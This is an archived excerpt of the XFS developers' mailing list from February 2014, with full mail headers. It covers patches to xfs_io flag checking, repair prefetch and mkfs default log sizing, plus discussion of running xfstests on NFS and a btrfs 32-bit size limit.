2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3E4CC7F3F for ; Thu, 27 Feb 2014 14:32:51 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C5476AC008 for ; Thu, 27 Feb 2014 12:32:50 -0800 (PST) X-ASG-Debug-ID: 1393533168-04cb6c5677c9010001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id rcKhGguSNEIRWFoO for ; Thu, 27 Feb 2014 12:32:48 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 61D0463C59A5; Thu, 27 Feb 2014 14:32:48 -0600 (CST) Message-ID: <530FA0EF.50301@sandeen.net> Date: Thu, 27 Feb 2014 14:32:47 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs_io: don't leak fd in open -Tr failure case References: <530F9F37.8020408@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: don't leak fd in open -Tr failure case In-Reply-To: <530F9F37.8020408@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393533168 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145579 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/27/14, 2:25 PM, Eric Sandeen wrote: > Coverity spotted this. > > It complained that we didn't close the fd before returning in > this case of incompatible options, but it seems like we should > just test for the incompatible flags before even trying to open > the file, no? > > (The open would have failed in any case, but with a somewhat > cryptic "Invalid argument" - so it's probably better to state > it plainly and bail immediately.) So actually, we wouldn't leak, because the open would fail. So I guess it's not the best subject & description... -Eric > Signed-off-by: Eric Sandeen > --- > > diff --git a/io/open.c b/io/open.c > index 6bb0d46..c106fa7 100644 > --- a/io/open.c > +++ b/io/open.c > @@ -342,6 +342,11 @@ open_f( > if (optind != argc - 1) > return command_usage(&open_cmd); > > + if ((flags & (IO_READONLY|IO_TMPFILE)) == (IO_READONLY|IO_TMPFILE)) { > + fprintf(stderr, _("-T and -r options are incompatible\n")); > + return -1; > + } > + > fd = openfile(argv[optind], &geometry, flags, mode); > if (fd < 0) > return 0; > @@ -349,11 +354,6 @@ open_f( > if (!platform_test_xfs_fd(fd)) > flags |= IO_FOREIGN; > > - if ((flags & (IO_READONLY|IO_TMPFILE)) == (IO_READONLY|IO_TMPFILE)) { > - fprintf(stderr, _("-T and -r options are incompatible\n")); > - return -1; > - } > - > addfile(argv[optind], fd, &geometry, flags); > return 0; > } > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From BATV+9d52d1822aa6f7de43c9+3840+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 27 14:34:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 102047F3F for ; Thu, 27 Feb 2014 14:34:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E1C2830406B for ; Thu, 27 Feb 2014 12:34:19 -0800 (PST) X-ASG-Debug-ID: 1393533257-04cb6c5678c91d0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id QCSY3uzYzY2rcDuL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 27 Feb 2014 12:34:18 -0800 (PST) X-Barracuda-Envelope-From: BATV+9d52d1822aa6f7de43c9+3840+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WJ7en-0001CW-Ej; Thu, 27 Feb 2014 20:34:13 +0000 Date: Thu, 27 Feb 2014 12:34:13 -0800 From: Christoph Hellwig To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs_io: don't leak fd in open -Tr failure case Message-ID: <20140227203413.GA4568@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: don't leak fd in open -Tr failure case References: <530F9F37.8020408@redhat.com> <530FA0EF.50301@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530FA0EF.50301@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393533258 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145579 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Feb 27, 2014 at 02:32:47PM -0600, Eric Sandeen wrote: > On 2/27/14, 2:25 PM, Eric Sandeen wrote: > > Coverity spotted this. > > > > It complained that we didn't close the fd before returning in > > this case of incompatible options, but it seems like we should > > just test for the incompatible flags before even trying to open > > the file, no? > > > > (The open would have failed in any case, but with a somewhat > > cryptic "Invalid argument" - so it's probably better to state > > it plainly and bail immediately.) > > So actually, we wouldn't leak, because the open would fail. > So I guess it's not the best subject & description... It's not, but doing the check earlier seems sensible. Reviewed-by: Christoph Hellwig (with a better description) From sandeen@sandeen.net Thu Feb 27 14:41:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 93A7B7F3F for ; Thu, 27 Feb 2014 14:41:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2D4E4AC003 for ; Thu, 27 Feb 2014 12:41:53 -0800 (PST) X-ASG-Debug-ID: 1393533712-04cbb066e5cc430001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id px295TKuRdxazPiX for ; Thu, 27 Feb 2014 12:41:52 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 39A1263C59A5; Thu, 27 Feb 2014 14:41:52 -0600 (CST) Message-ID: <530FA30F.70805@sandeen.net> Date: Thu, 27 Feb 2014 14:41:51 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH V2] xfs_io: test for invalid -Tr flag combination before open References: <530F9F37.8020408@redhat.com> X-ASG-Orig-Subj: [PATCH V2] xfs_io: test for invalid -Tr flag combination before open In-Reply-To: <530F9F37.8020408@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393533712 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145579 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Coverity spotted this. It complained that we didn't close the fd before returning in the error case of incompatible options, but in reality, we wouldn't have gotten that far because open(O_RDONLY|O_TMPFILE) would be rejected with EINVAL. So the error handling test would never actually be true. Fix this by moving the error checking prior to the open so the user gets a more useful error message than "Invalid Argument." Reviewed-by: Christoph Hellwig Signed-off-by: Eric Sandeen --- V2: New summary & commit message diff --git a/io/open.c b/io/open.c index 6bb0d46..c106fa7 100644 --- a/io/open.c +++ b/io/open.c @@ -342,6 +342,11 @@ open_f( if (optind != argc - 1) return command_usage(&open_cmd); + if ((flags & (IO_READONLY|IO_TMPFILE)) == (IO_READONLY|IO_TMPFILE)) { + fprintf(stderr, _("-T and -r options are incompatible\n")); + return -1; + } + fd = openfile(argv[optind], &geometry, flags, mode); if (fd < 0) return 0; @@ -349,11 +354,6 @@ open_f( if (!platform_test_xfs_fd(fd)) flags |= IO_FOREIGN; - if ((flags & (IO_READONLY|IO_TMPFILE)) == (IO_READONLY|IO_TMPFILE)) { - fprintf(stderr, _("-T and -r options are incompatible\n")); - return -1; - } - addfile(argv[optind], fd, &geometry, flags); return 0; } _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Thu Feb 27 14:45:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 558E27F3F for ; Thu, 27 Feb 2014 14:45:48 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C6333AC003 for ; Thu, 27 Feb 2014 12:45:47 -0800 (PST) X-ASG-Debug-ID: 1393533945-04cbb066e5cc910001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XW4zBoBPqiOrIrii for ; Thu, 27 Feb 2014 12:45:46 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1RKjgmW012136 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 27 Feb 2014 15:45:43 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1RKjf3r019782; Thu, 27 Feb 2014 15:45:42 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 5CC82124491; Thu, 27 Feb 2014 15:45:40 -0500 (EST) Date: Thu, 27 Feb 2014 15:45:40 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 09/10] repair: prefetch runs too far ahead Message-ID: <20140227204539.GA27267@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 09/10] repair: prefetch runs too far ahead References: <1393494675-30194-1-git-send-email-david@fromorbit.com> <1393494675-30194-10-git-send-email-david@fromorbit.com> <20140227140846.GB62463@bfoster.bfoster> <20140227200150.GD30131@dastard> <20140227202405.GE30131@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140227202405.GE30131@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393533946 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Feb 28, 2014 at 07:24:05AM +1100, Dave Chinner wrote: > On Fri, Feb 28, 2014 at 07:01:50AM +1100, Dave Chinner wrote: > > On Thu, Feb 27, 2014 at 09:08:46AM -0500, Brian Foster wrote: > > > On Thu, Feb 27, 2014 at 08:51:14PM +1100, Dave Chinner wrote: > > > > From: Dave Chinner > > > > > > > > > > Hmm, I replied to this one in the previous thread, but now I notice that > > > it apparently never made it to the list. Dave, did you happen to see > > > that in your inbox? Anyways, I had a couple minor comments/questions > > > that I'll duplicate here (which probably don't require another > > > repost)... > > > > No, I didn't. > > > > [snip typos that need fixing] > > > > > > diff --git a/repair/prefetch.c b/repair/prefetch.c > > > > index aee6342..7d3efde 100644 > > > > --- a/repair/prefetch.c > > > > +++ b/repair/prefetch.c > > > > @@ -866,6 +866,48 @@ start_inode_prefetch( > > > > return args; > > > > } > > > > > > > > > > A brief comment before the prefetch_ag_range bits that explain the > > > implicit design constraints (e.g., throttle prefetch based on > > > processing) would be nice. :) > > > > Can do. > > Added this: > > /* > * prefetch_ag_range runs a prefetch-and-process loop across a range of AGs. It > * begins with @start+ag, and finishes with @end_ag - 1 (i.e. does not prefetch > * or process @end_ag). The function starts prefetch on the first AG, then loops > * starting prefetch on the next AG and then blocks processing the current AG as > * the prefetch queue brings inodes into the processing queue. > * > * There is only one prefetch taking place at a time, so the prefetch on the > * next AG only starts once the current AG has been completely prefetched. Hence > * the prefetch of the next AG will start some time before the processing of the > * current AG finishes, ensuring that when we iterate an start processing the and > * next AG there is already a significant queue of inodes to process. > * > * Prefetch is done this way to prevent it from running too far ahead of the > * processing. Allowing it to do so can cause cache thrashing, where new > * prefetch causes previously prefetched buffers to be reclaimed before the > * processing thread uses them. This results in reading all the inodes and > * metadata twice per phase and it greatly slows down the processing. Hence we > * have to carefully control how far ahead we prefetch... > */ > Looks good, thanks! Reviewed-by: Brian Foster > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com From hch@lst.de Thu Feb 27 14:50:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CCA087F3F for ; Thu, 27 Feb 2014 14:50:33 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id AA8718F8059 for ; Thu, 27 Feb 2014 12:50:33 -0800 (PST) X-ASG-Debug-ID: 1393534231-04cb6c5676ca820001-NocioJ Received: from newverein.lst.de (verein.lst.de [213.95.11.211]) by cuda.sgi.com with ESMTP id VoB4hxGMGPciXPeB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 27 Feb 2014 12:50:32 -0800 (PST) X-Barracuda-Envelope-From: hch@lst.de X-Barracuda-Apparent-Source-IP: 213.95.11.211 Received: by newverein.lst.de (Postfix, from userid 2407) id 5B6F214343; Thu, 27 Feb 2014 21:50:29 +0100 (CET) Date: Thu, 27 Feb 2014 21:50:29 +0100 From: Christoph Hellwig To: Chuck Lever Cc: Linux NFS Mailing List , xfs@oss.sgi.com Subject: Re: xfstests with NFS Message-ID: <20140227205029.GA29741@lst.de> X-ASG-Orig-Subj: Re: xfstests with NFS References: <27AB99CF-CEF3-4AC5-AFBD-6648F3B3BED2@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <27AB99CF-CEF3-4AC5-AFBD-6648F3B3BED2@oracle.com> User-Agent: Mutt/1.5.17 (2007-11-01) X-Barracuda-Connect: verein.lst.de[213.95.11.211] X-Barracuda-Start-Time: 1393534231 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145580 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 27, 2014 at 10:32:51AM -0800, Chuck Lever wrote: > > I’m running xfstests to validate functionality of a particular > NFS client/transport/server set up. > > There are a couple of tests that may not always be appropriate for > FSTYP=nfs. We weren’t able to identify a bugzilla where we can report > these issues. Just send the to the xfs list. (and cap lines after 75 chars like for all Linux lists..) > generic/192 tests atime changes. The Linux NFS client (and probably > others) typically optimizes away atime changes. Thus this test fails > for NFS mounts on Linux. I’m wondering if we can treat NFS as always > a noatime filesystem. I guess there's two components to this if we want to do it properly: - make sure nfs always reports noatime in /proc/self/mounts instead of incorrectly claiming it supports relatime by default - _notrun 192 if it detects the filesystems reports noatime. > generic/237 tries setfacl. On NFS mounts, the operation always returns > “Operation not supported,†but the test is looking for “Operation not > permitted.†The former is an acceptable pass, IMO. I considered > disabling this test for NFS, but I would bet some NFS client > implementations actually do support setfacl(). The NFSv3 client support ACLs perfectly, it's just NFSv4 that's messed up. 237 does a _require_acls before ding thæ test, which checks for ENOSYS or EOPNOTSUPP, which in theory should catch NFSv4 in theory, but if this doesn't happen try to debug it by looking at the _require_acls shell function, the chacl implementation, the NFSv4 ACL stubs and anything else related. From lists@colorremedies.com Thu Feb 27 15:19:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=3.0 required=5.0 tests=TVD_SUBJ_NUM_OBFU_MINFP autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8CE177F4E for ; Thu, 27 Feb 2014 15:19:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 322EEAC003 for ; Thu, 27 Feb 2014 13:19:18 -0800 (PST) X-ASG-Debug-ID: 1393535955-04bdf05dabd6240001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id KG7k3M2UJh8EPOAu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 27 Feb 2014 13:19:16 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:61420 helo=[192.168.1.145]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WJ8MN-0034Fj-CZ; Thu, 27 Feb 2014 14:19:15 -0700 Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: XFS on Fedora i686, armv7hl From: Chris Murphy X-ASG-Orig-Subj: Re: XFS on Fedora i686, armv7hl In-Reply-To: <20140227072122.GL29907@dastard> Date: Thu, 27 Feb 2014 14:19:12 -0700 Cc: "xfs@oss.sgi.com" Content-Transfer-Encoding: quoted-printable Message-Id: References: <8A28EF88-012E-4036-BDB6-E76B1CC569A7@colorremedies.com> <20140227072122.GL29907@dastard> To: Dave Chinner X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1393535956 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.40 X-Barracuda-Spam-Status: No, SCORE=0.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085b X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145580 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.40 BSF_SC0_SA085b Custom Rule SA085b On Feb 27, 2014, at 12:21 AM, Dave Chinner wrote: > On Wed, Feb 26, 2014 at 10:37:59PM -0700, Chris Murphy wrote: >=20 >> Btrfs volume mounts OK, although I don't know if it actually >> withstands significant use. >> http://paste.fedoraproject.org/80784/93470280/ >=20 > I bet that's because nobody has filled a btrfs filesystem past the > point where it tries to access beyond 16TB on a 32 bit system and so > it's never been reported as a bug=85 :/ Guess what? Someone just ran into what sounded like this very problem = today on the Btrfs list [1]. So I reported it and referenced this = thread, and it looks like you were correct. Josef is on it [2]. Chris Murphy [1] = http://www.mail-archive.com/linux-btrfs@vger.kernel.org/msg31856.html [2] = http://www.mail-archive.com/linux-btrfs@vger.kernel.org/msg31862.html From sandeen@sandeen.net Thu Feb 27 16:29:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 64AE57F4E for ; Thu, 27 Feb 2014 16:29:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3DBA98F8037 for ; Thu, 27 Feb 2014 14:29:09 -0800 (PST) X-ASG-Debug-ID: 1393540144-04bdf05dabdb510001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id EKLCdgHQ7zadfEHU for ; Thu, 27 Feb 2014 14:29:05 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 96CC963C59A4; Thu, 27 Feb 2014 16:29:04 -0600 (CST) Message-ID: <530FBC2F.4070301@sandeen.net> Date: Thu, 27 Feb 2014 16:29:03 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 1/2] mkfs: default log size for small filesystems too large References: <1393494344-30056-1-git-send-email-david@fromorbit.com> <1393494344-30056-2-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 1/2] mkfs: default log size for small filesystems too large In-Reply-To: <1393494344-30056-2-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393540144 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145582 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/27/14, 3:45 AM, Dave Chinner wrote: > From: Dave Chinner > > Recent changes to the log size scaling have resulted in using the > default size multiplier for the log size even on small filesystems. > Commit 88cd79b ("xfs: Add xfs_log_rlimit.c") changed the calculation > of the maximum transaction size that the kernel would issues and > that significantly increased the minimum size of the default log. > As such the size of the log on small filesystems was typically > larger than the prefious default, even though the previous default > was still larger than the minimum needed. > > Rework the default log size calculation such that it will use the > original log size default if it is larger than the minimum log size > required, and only use a larger log if the configuration of the > filesystem requires it. > > This is especially obvious in xfs/216, where the default log size is > 10MB all the way up to 16GB filesystems. The current mkfs selects a > log size of 50MB for the same size filesystems and this is > unnecessarily large. > > Return the scaling of the log size for small filesystems to > something similar to what xfs/216 expects. I can confirm that this fixes xfs/216, but I've lost the thread on why log size scaling was changed at all in 88cd79b, and why we now end up with something different in mkfs.xfs than what we originally had.... Are there resulting functional changes? Cosmetic? What's going on with log scaling, and who moved my cheese? :) -Eric > Signed-off-by: Dave Chinner > --- > mkfs/xfs_mkfs.c | 48 ++++++++++++++++++++++++++++-------------------- > 1 file changed, 28 insertions(+), 20 deletions(-) > > diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c > index d82128c..f7cf394 100644 > --- a/mkfs/xfs_mkfs.c > +++ b/mkfs/xfs_mkfs.c > @@ -2366,32 +2366,40 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), > } else if (!loginternal && !xi.logdev) { > logblocks = 0; > } else if (loginternal && !logsize) { > - /* > - * With a 2GB max log size, default to maximum size > - * at 4TB. This keeps the same ratio from the older > - * max log size of 128M at 256GB fs size. IOWs, > - * the ratio of fs size to log size is 2048:1. > - */ > - logblocks = (dblocks << blocklog) / 2048; > - logblocks = logblocks >> blocklog; > - logblocks = MAX(min_logblocks, logblocks); > > - /* > - * If the default log size doesn't fit in the AG size, use the > - * minimum log size instead. This ensures small filesystems > - * don't use excessive amounts of space for the log. > - */ > - if (min_logblocks * XFS_DFL_LOG_FACTOR >= agsize) { > + if (dblocks < GIGABYTES(1, blocklog)) { > + /* tiny filesystems get minimum sized logs. */ > logblocks = min_logblocks; > + } else if (dblocks < GIGABYTES(16, blocklog)) { > + > + /* > + * For small filesystems, we want to use the > + * XFS_MIN_LOG_BYTES for filesystems smaller than 16G if > + * at all possible, ramping up to 128MB at 256GB. > + */ > + logblocks = MIN(XFS_MIN_LOG_BYTES >> blocklog, > + min_logblocks * XFS_DFL_LOG_FACTOR); > } else { > - logblocks = MAX(logblocks, > - MAX(XFS_DFL_LOG_SIZE, > - min_logblocks * XFS_DFL_LOG_FACTOR)); > + /* > + * With a 2GB max log size, default to maximum size > + * at 4TB. This keeps the same ratio from the older > + * max log size of 128M at 256GB fs size. IOWs, > + * the ratio of fs size to log size is 2048:1. > + */ > + logblocks = (dblocks << blocklog) / 2048; > + logblocks = logblocks >> blocklog; > + logblocks = MAX(min_logblocks, logblocks); > } > + > + /* make sure the log fits wholly within an AG */ > + if (logblocks >= agsize) > + logblocks = min_logblocks; > + > + /* and now clamp the size to the maximum supported size */ > logblocks = MIN(logblocks, XFS_MAX_LOG_BLOCKS); > - if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) { > + if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) > logblocks = XFS_MAX_LOG_BYTES >> blocklog; > - } > + > } > validate_log_size(logblocks, blocklog, min_logblocks); > > From sandeen@redhat.com Thu Feb 27 17:28:59 2014 Return-Path: 